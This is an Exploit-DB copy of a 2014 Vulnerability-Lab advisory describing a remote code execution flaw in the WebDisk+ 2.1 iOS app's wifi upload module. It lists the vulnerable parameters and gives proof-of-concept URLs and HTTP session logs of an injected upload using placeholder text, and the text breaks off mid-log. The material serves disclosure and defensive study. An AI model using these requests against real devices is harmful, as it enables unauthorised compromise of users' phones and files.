Exploit-DB #35082
Description: WebDisk+ 2.1 iOS - Code Execution
Type: webapps
Platform: ios
Date: 2014-10-27
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
WebDisk+ v2.1 iOS - Code Execution Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1349


Release Date:
=============
2014-10-23


Vulnerability Laboratory ID (VL-ID):
====================================
1349


Common Vulnerability Scoring System:
====================================
9.1


Product & Service Introduction:
===============================
WebDisk+ is a Push verion of WebDisk. It have all Full functionality of WebDisk .lets your iphone/ipad become a file website over 
wi-fi netwrk.You can upload/download your document to your iphone/ipad on your pc browser over wi-fi. And it is also a document 
viewer.let you direct view your document on your iphone/iphone. WebDisk+ can support Upload and download large files (More than 4GB) 
form pc or other mobile device.

(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/webdisk+/id606709149 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered a code execution vulnerability  in the official AirPhoto WebDisk+ v2.1 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2014-10-23: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
AirPhoto
Product: WebDisk+ - iOS Mobile Web Application (Wifi) 2.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A code execution web vulnerability has been discovered in the official AirPhoto WebDisk+ v2.1 iOS mobile web-application.
The vulnerability allows remote attackers to compromise the application and connected device components by exploitation 
of a system specific code execution vulnerability in the wifi interface.

The vulnerability is located in the `name` input field of the wifi web interface upload module (afupload.ma). The function creates 
the files without any protection or filter mechanism in the GET method request. Remote attackers are able to manipulate the GET method 
request by usage of the `p & filename` parameters in the `afupload.ma` file to compromise the application or device. The execution of 
the code occurs in the `afgetdir.ma` file of the wifi interface. The attack vector is located on the application-side of the mobile app 
and the request method to inject/execute is GET.

The security risk of the code execution vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 9.1.
Exploitation of the code execution vulnerability requires no privileged application user account or user interaction.  Successful exploitation 
of the code execution vulnerability results in mobile application compromise and affected or connected device component compromise.

Request Method(s):
					[+] GET

Vulnerable Module(s):
					[+] Upload

Vulnerable File(s):
					[+] afupload.ma

Vulnerable Parameter(s):
					[+] p & filename

Affected Module(s):
					[+] Wifi Interface (http://localhost:1861)


Proof of Concept (PoC):
=======================
The code execution web vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: (URL)
http://localhost:1861/afgetdir.ma?p=\var\mobile\Containers\Data\Application\90ACE99A-5EF3-4E3E-B509-32CCDF066AA1\Documents\


PoC: localhost:1861 - Web Interface Index

<tr><td class="tdleft"><a href=""><img class="imgthum" src="afico/files_txt.png"></a></td>
<td class="tdmid">-[CODE EXECUTION VULNERABILITY VIA GET];</td>
<td class="tdright">10-22 13:28<br/><br/>
<a href="afdelete.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C%7C-%7C467299731.txt">delete</a></td>
</tr><tr><td colspan="3"  height="1"><hr class="spline" /></td>
</tr><tr></tr></table></body></html>
</iframe></td></tr>

Note:
The input field to create/upload files allows a remote attacker to execute codes directly in the web-server with multiple attack vectors.


--- PoC Session Logs (POST) ---
Status: 302[OK]
POST http://192.168.2.104:1861/afupload.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[192.168.2.104:1861]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[----------------------------[PII_REDACTED]41
Content-Disposition: form-data; name="txt"
-[CODE EXECUTION VULNERABILITY VIA GET];
----------------------------[PII_REDACTED]41
Content-Disposition: form-data; name="file"; filename="[PENG!]"
Content-Type: application/octet-stream
----------------------------[PII_REDACTED]41
Content-Disposition: form-data; name="sub"
upload
----------------------------[PII_REDACTED]41--]
   Response Header:
      Location[afgetdir.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C]
      Content-Length[0]
      Server[MHttpServer/1.0.0] Status: 200[OK]
GET http://192.168.2.104:1861/afgetdir.ma?p=%5Cv